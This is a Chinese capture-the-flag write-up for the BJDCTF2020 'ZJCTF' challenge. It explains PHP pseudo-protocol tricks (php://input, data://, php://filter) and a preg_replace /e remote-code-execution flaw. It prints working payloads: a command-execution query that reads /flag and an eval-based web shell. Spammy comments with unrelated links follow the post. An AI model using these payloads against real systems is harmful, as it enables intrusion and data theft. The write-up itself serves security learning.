[BJDCTF2020]ZJCTF,不过如此
buuctf上的1point水题,由于没见过正则的洞,所以发出来记录一下。
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
常规考点了,两个参数一个进入file_get_contents
函数,一个在if判断成功后进入include
;首先是控制参数text
利用php的相关伪协议,向预读取文件中写入I have a dream
字符串。
方法一:php://input
?text=php://input
post:I have a dream
方法二:data://
末尾斜杠可加可不加
?text=data:text/plain,I have a dream
?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=
继续往后看,提示不能出现flag,后面include
函数后又给了next.php
的提示,一猜就是老套娃了,然后file参数直接php://filter
协议读取next.php
的源码;
file=php://filter/read=convert.base64-encode/resource=next.php
得到
/* PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
*/
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这里看到可以利用getFlag
函数进行命令执行,但是没有调用,这开始让孩子很懵逼后来查了查是preg_replace
函数下的RCE
漏洞。
preg_replace()
函数的RCE
漏洞
preg_replace
函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
漏洞条件
/e
修正符修饰下,preg_replace
中的第二个参数将当作php代码执行。
example
<?php
if (isset($_GET['t'])) {
echo preg_replace('/test/', $_GET['t'], 'Just test');
}
此时没有/e
这段代码就将Just test
中的test
换成了GET
传的t
值,如下图:
但如果用了/e
修饰符就会有以下效果:
<?php
if (isset($_GET['t'])) {
echo preg_replace('/test/e', $_GET['t'], 'Just test');
}
会有一个报错,修改传入的参数为system('whoami');
直接当作php
代码执行了,这就是该漏洞的效果。
有了以上基础漏洞背景后,再回头看刚才那段代码
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
不难发现它把replacement
参数固定了,查资料后得知这种写法也曾在Thinkphp2.x
以及3.0-3.1
造成过RCE
漏洞
\1
表示取出正则匹配后的第一个子匹配中的第一项,所以我们要保证在strtolower
函数中取到的数据是我们想要的,那我们就要同时控制$re
和$str
,正则中的参数我们就得填写为.*
或者\S+
.
匹配除换行符之外的任意字符;
\S
匹配任何非空白字符。等价于[^ \f\n\r\t\v]
;
+
匹配一次或多次,即{1,}
。
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
再利用这个循环将$re
和$str
传进去
?\S%2b=${getflag()}&cmd=show_source("/flag");
因为php里会把参数名里的特殊字符转为下划线_
,那么我们只能用\S+
传参。
当然这里也可以写shell
?\S*=${eval($_POST['Tr0jAn'])}
POST:
Tr0jAn=system("cat /flag");
看的我热血沸腾啊https://www.ea55.com/
不错不错,我喜欢看 https://www.ea55.com/
不错不错,我喜欢看 https://www.237fa.com/
想想你的文章写的特别好
博主真是太厉害了!!!